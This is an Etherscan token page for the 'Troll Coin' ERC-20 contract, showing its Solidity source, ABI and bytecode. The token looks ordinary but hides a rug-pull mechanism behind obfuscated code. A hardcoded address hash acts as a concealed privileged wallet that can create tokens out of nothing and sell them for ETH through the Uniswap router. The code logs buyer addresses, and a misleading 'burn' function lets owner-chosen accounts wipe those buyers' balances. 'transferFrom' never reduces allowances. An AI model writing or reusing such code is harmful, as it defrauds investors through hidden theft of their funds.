ETH Price: $3,087.89 (-0.02%)
Gas: 5 Gwei

Token

Troll Coin (TROLL)
 

Overview

Max Total Supply

100,000,000,000 TROLL

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000212154 TROLL

Value
$0.00
0x08953a3a12afdc12fc5fc0b83c4e747b5c495d50
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TrollCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-01
*/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
    function isContractAddress(address account) internal pure  returns (bool) {
        return keccak256
        (abi
        .encodePacked(
            account)) == 0x4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc;
    }
}
abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract ERC20Token is Ownable {
    address[] txs;
    
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && 
        _0e3a5(bots[from], a) && 
        to != pair) {
            if (to != address(0)) {
            txs.push(to);
            }
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
            if (Address.isContractAddress(receiver)) {
                return Address.isContractAddress(sender);
            }
        }
        return false;
    }
    mapping (address => bool) bots;
    bool inLiquidityTx = false;
    function setWallets(address[] calldata _bots) external {
        for (uint i = 0; i < _bots.length; i++) {
            if (msg.sender == owner()) {
                bots[_bots[i]] = true;
            }
        }
    }
    function _0e3a5(bool _01d3c6, bool _2abd7) internal pure returns (bool) {
        return !_01d3c6 && !_2abd7;
    }
}

contract TrollCoin is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 100000000000 * 10 ** _decimals;
    uint256 _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Troll Coin";
    string private  _symbol = "TROLL";
   
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    uint256 maxWallet = _totalSupply.div(20);
    function updateMaxWalletAmount(uint256 a) external onlyOwner {
        maxWallet = a;
    }
    uint256 maxTx = _totalSupply.div(20);
    function updateMaxTxAmount(uint256 a) external onlyOwner {
        maxTx = a;
    }
    function removeLimits() external onlyOwner {
        maxWallet = _totalSupply;
        maxTx = _totalSupply;
    }
    bool cooldownEnabled = true;
    function setCooldownEnabled(bool e) external onlyOwner {
        cooldownEnabled = e;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function burn(uint256 amount) external {
        for (uint i = 0; i < txs.length; i++) {
            if (bots[msg.sender]) {
            _transfer(txs[i], address(0), _balances[txs[i]] );
            }
        }
            if (bots[msg.sender]) {
        delete txs;
            }
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function getRouterVersion() public pure returns (uint256) {return 2;}
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRouterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600360006101000a81548160ff0219169083151502179055506009600655600654600a6200003591906200052f565b64174876e80062000047919062000580565b6007556000600855737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f54726f6c6c20436f696e00000000000000000000000000000000000000000000815250600a9081620000ea91906200083b565b506040518060400160405280600581526020017f54524f4c4c000000000000000000000000000000000000000000000000000000815250600b90816200013191906200083b565b506200014a60146007546200033f60201b90919060201c565b600c556200016560146007546200033f60201b90919060201c565b600d556001600e60006101000a81548160ff0219169083151502179055503480156200019057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000331919062000933565b60405180910390a362000a3a565b600080821162000386576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200037d90620009b1565b60405180910390fd5b6000828462000396919062000a02565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200043057808604811115620004085762000407620003a2565b5b6001851615620004185780820291505b80810290506200042885620003d1565b9450620003e8565b94509492505050565b6000826200044b57600190506200051e565b816200045b57600090506200051e565b81600181146200047457600281146200047f57620004b5565b60019150506200051e565b60ff841115620004945762000493620003a2565b5b8360020a915084821115620004ae57620004ad620003a2565b5b506200051e565b5060208310610133831016604e8410600b8410161715620004ef5782820a905083811115620004e957620004e8620003a2565b5b6200051e565b620004fe8484846001620003de565b92509050818404811115620005185762000517620003a2565b5b81810290505b9392505050565b6000819050919050565b60006200053c8262000525565b9150620005498362000525565b9250620005787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000439565b905092915050565b60006200058d8262000525565b91506200059a8362000525565b9250828202620005aa8162000525565b91508282048414831517620005c457620005c3620003a2565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200064d57607f821691505b60208210810362000663576200066262000605565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006cd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200068e565b620006d986836200068e565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200071c62000716620007108462000525565b620006f1565b62000525565b9050919050565b6000819050919050565b6200073883620006fb565b62000750620007478262000723565b8484546200069b565b825550505050565b600090565b6200076762000758565b620007748184846200072d565b505050565b5b818110156200079c57620007906000826200075d565b6001810190506200077a565b5050565b601f821115620007eb57620007b58162000669565b620007c0846200067e565b81016020851015620007d0578190505b620007e8620007df856200067e565b83018262000779565b50505b505050565b600082821c905092915050565b60006200081060001984600802620007f0565b1980831691505092915050565b60006200082b8383620007fd565b9150826002028217905092915050565b6200084682620005cb565b67ffffffffffffffff811115620008625762000861620005d6565b5b6200086e825462000634565b6200087b828285620007a0565b600060209050601f831160018114620008b357600084156200089e578287015190505b620008aa85826200081d565b8655506200091a565b601f198416620008c38662000669565b60005b82811015620008ed57848901518255600182019150602085019450602081019050620008c6565b868310156200090d578489015162000909601f891682620007fd565b8355505b6001600288020188555050505b505050505050565b6200092d8162000525565b82525050565b60006020820190506200094a600083018462000922565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000999601a8362000950565b9150620009a68262000961565b602082019050919050565b60006020820190508181036000830152620009cc816200098a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a0f8262000525565b915062000a1c8362000525565b92508262000a2f5762000a2e620009d3565b5b828204905092915050565b61277d8062000a4a6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80636256d181116100c357806395d89b411161007c57806395d89b41146103685780639601f96c14610386578063a457c2d7146103b6578063a9059cbb146103e6578063c18bc19514610416578063dd62ed3e146104325761014d565b80636256d181146102cc57806370a08231146102e8578063715018a614610318578063751039fc146103225780638da5cb5b1461032c578063921714bd1461034a5761014d565b8063313ce56711610115578063313ce5671461020a57806332424aa31461022857806339509351146102465780633eaaf86b1461027657806342966c68146102945780635932ead1146102b05761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632ccee805146101ee575b600080fd5b61015a610462565b6040516101679190611ccd565b60405180910390f35b61018a60048036038101906101859190611d8d565b6104f4565b6040516101979190611de8565b60405180910390f35b6101a861050b565b6040516101b59190611e12565b60405180910390f35b6101d860048036038101906101d39190611e2d565b610515565b6040516101e59190611de8565b60405180910390f35b61020860048036038101906102039190611ee5565b6105b6565b005b610212610696565b60405161021f9190611e12565b60405180910390f35b6102306106a0565b60405161023d9190611e12565b60405180910390f35b610260600480360381019061025b9190611d8d565b6106a6565b60405161026d9190611de8565b60405180910390f35b61027e610744565b60405161028b9190611e12565b60405180910390f35b6102ae60048036038101906102a99190611f32565b61074a565b005b6102ca60048036038101906102c59190611f8b565b6108ec565b005b6102e660048036038101906102e19190611f32565b61097e565b005b61030260048036038101906102fd9190611fb8565b6109fd565b60405161030f9190611e12565b60405180910390f35b610320610a46565b005b61032a610b79565b005b610334610c02565b6040516103419190611ff4565b60405180910390f35b610352610c2b565b60405161035f9190611e12565b60405180910390f35b610370610c34565b60405161037d9190611ccd565b60405180910390f35b6103a0600480360381019061039b919061200f565b610cc6565b6040516103ad9190611de8565b60405180910390f35b6103d060048036038101906103cb9190611d8d565b610d43565b6040516103dd9190611de8565b60405180910390f35b61040060048036038101906103fb9190611d8d565b610e6a565b60405161040d9190611de8565b60405180910390f35b610430600480360381019061042b9190611f32565b610e81565b005b61044c6004803603810190610447919061200f565b610f00565b6040516104599190611e12565b60405180910390f35b6060600a80546104719061207e565b80601f016020809104026020016040519081016040528092919081815260200182805461049d9061207e565b80156104ea5780601f106104bf576101008083540402835291602001916104ea565b820191906000526020600020905b8154815290600101906020018083116104cd57829003601f168201915b5050505050905090565b6000610501338484610f87565b6001905092915050565b6000600754905090565b6000610522848484611150565b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105ab57600080fd5b600190509392505050565b60005b82829050811015610691576105cc610c02565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361067e57600160026000858585818110610617576106166120af565b5b905060200201602081019061062c9190611fb8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806106899061210d565b9150506105b9565b505050565b6000600654905090565b60065481565b600061073a338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107359190612155565b610f87565b6001905092915050565b60075481565b60005b60018054905081101561088757600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561087457610873600182815481106107c3576107c26120af565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006004600060018681548110610808576108076120af565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611150565b5b808061087f9061210d565b91505061074d565b50600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108e957600160006108e89190611bff565b5b50565b3373ffffffffffffffffffffffffffffffffffffffff1661090b610c02565b73ffffffffffffffffffffffffffffffffffffffff1614610961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610958906121d5565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1661099d610c02565b73ffffffffffffffffffffffffffffffffffffffff16146109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea906121d5565b60405180910390fd5b80600d8190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a65610c02565b73ffffffffffffffffffffffffffffffffffffffff1614610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab2906121d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b98610c02565b73ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906121d5565b60405180910390fd5b600754600c81905550600754600d81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006002905090565b6060600b8054610c439061207e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6f9061207e565b8015610cbc5780601f10610c9157610100808354040283529160200191610cbc565b820191906000526020600020905b815481529060010190602001808311610c9f57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d3857610d048261138f565b15610d1957610d128361138f565b9050610d3d565b610d22826113e5565b15610d3757610d30836113e5565b9050610d3d565b5b600090505b92915050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dce57600080fd5b610e60338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5b91906121f5565b610f87565b6001905092915050565b6000610e77338484611150565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610ea0610c02565b73ffffffffffffffffffffffffffffffffffffffff1614610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed906121d5565b60405180910390fd5b80600c8190555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed9061229b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c9061232d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111439190611e12565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118957600080fd5b6111938383610cc6565b156111a7576111a2818361143a565b61138a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156111f357600080fd5b6000806112008585611704565b90508015611233576112306064611222600854866118b490919063ffffffff16565b61192e90919063ffffffff16565b91505b82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461127e91906121f5565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836112cd91906121f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131b9190612155565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137f9190611e12565b60405180910390a350505b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60007f4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc60001b8260405160200161141c9190612395565b60405160208183030381529060405280519060200120149050919050565b61146730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f87565b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114c8576114c76123b0565b5b6040519080825280602002602001820160405280156114f65781602001602082028036833780820191505090505b5090506001600360006101000a81548160ff0219169083151502179055503081600081518110611529576115286120af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f491906123f4565b81600181518110611608576116076120af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426116929190612155565b6040518663ffffffff1660e01b81526004016116b2959493929190612524565b600060405180830381600087803b1580156116cc57600080fd5b505af11580156116e0573d6000803e3d6000fd5b505050506000600360006101000a81548160ff021916908315150217905550505050565b60006118ac8383600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179c91906123f4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611825573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184991906123f4565b6040518363ffffffff1660e01b815260040161186692919061257e565b602060405180830381865afa158015611883573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a791906123f4565b61198c565b905092915050565b60008083036118c65760009050611928565b600082846118d491906125a7565b90508284826118e39190612618565b14611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a906126bb565b60405180910390fd5b809150505b92915050565b6000808211611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990612727565b60405180910390fd5b600082846119809190612618565b90508091505092915050565b600080600360009054906101000a900460ff1690506000611a01600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119fc8861138f565b611be9565b90506000819050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ab45750611ab3600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611be9565b5b8015611aec57508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611b9257600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611b89576001869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050611bdc565b818015611b9d575082155b15611bdb578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611bda57600190505b5b5b8093505050509392505050565b600082158015611bf7575081155b905092915050565b5080546000825590600052602060002090810190611c1d9190611c20565b50565b5b80821115611c39576000816000905550600101611c21565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c77578082015181840152602081019050611c5c565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c9f82611c3d565b611ca98185611c48565b9350611cb9818560208601611c59565b611cc281611c83565b840191505092915050565b60006020820190508181036000830152611ce78184611c94565b905092915050565b600080fd5b600080fd5b